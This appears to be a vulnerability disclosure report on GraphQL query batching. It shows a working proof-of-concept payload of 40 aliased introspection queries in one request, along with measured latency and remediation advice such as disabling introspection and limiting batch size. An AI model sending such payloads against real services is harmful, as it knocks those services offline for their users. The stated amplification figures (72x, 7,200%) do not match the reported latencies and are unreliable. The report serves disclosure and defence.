Denial of Service via GraphQL Batching

1. Vulnerability Overview

The GraphQL endpoint is vulnerable to an asymmetrical resource exhaustion attack. By utilizing array-based query batching combined with unique aliases, it's possible to bypass standard caching mechanisms and force the server to execute multiple heavy introspection queries within a single HTTP request.

Testing confirmed a lack of complexity and depth limiting, allowing a single low-bandwidth request to result in massive CPU and memory consumption on the backend server.

2. Baseline Request

A normal single query for establishing baseline latency:

{"query": "{ __typename }"}

Response Latency: 55ms

3. Attack Request & Batching

By batching 40 identical introspection queries with unique aliases, the server is forced to process a significantly larger payload:

[
  {"query": "{a1:__schema{types{name,fields{name,type{name}}}}}"},
  {"query": "{a2:__schema{types{name,fields{name,type{name}}}}}"},
  {"query": "{a3:__schema{types{name,fields{name,type{name}}}}}"},
  ...
  {"query": "{a40:__schema{types{name,fields{name,type{name}}}}}"}
]

The unique aliases (a1, a2, ..., a40) prevent cache hits, forcing individual execution of each query despite their identical content.

4. Impact & Amplification

Baseline Response Latency: 55ms
Attack Response Latency: 3,600ms (3.6 seconds)
Amplification Factor: 72x

A single HTTP request of 2.65 KiB resulted in a 7,200% increase in processing time. This demonstrates the server's inability to efficiently handle batched introspection queries.

5. Ethical Restraint & Safety

To ensure production stability, this proof of concept was limited to 40 batched queries. This was sufficient to demonstrate critical resource exhaustion. For ethical reasons, larger batches and concurrent requests were not tested, although the evidence clearly indicates they would result in complete service disruption.

6. Security Impact

• Availability: Multiple concurrent batched requests could exhaust the server's thread pool, rendering the service inaccessible to legitimate users.
• Resource Exhaustion: High RAM and CPU consumption due to expensive serialization of massive JSON responses.
• Information Disclosure: Enabled introspection reveals internal data architecture, exposing system types such as UserAccount and EmailAddress.

7. Remediation

• Disable Introspection: Disable the __schema field in production environments.
• Limit Batching: Restrict the number of operations allowed in a single JSON array request (e.g., maximum 5 operations).
• Query Complexity Analysis: Implement depth limits and cost scoring to identify and reject abusive queries before execution.
• Rate Limiting: Implement per-IP rate limiting on GraphQL endpoints.
• Request Size Limits: Cap the maximum payload size accepted by the GraphQL endpoint.

8. Conclusion

This vulnerability demonstrates how GraphQL's powerful introspection and batching capabilities can be weaponized to exhaust server resources without a large payload. Proper configuration—disabling introspection in production, limiting batch sizes, and implementing query complexity analysis—are essential to prevent DoS attacks on GraphQL endpoints.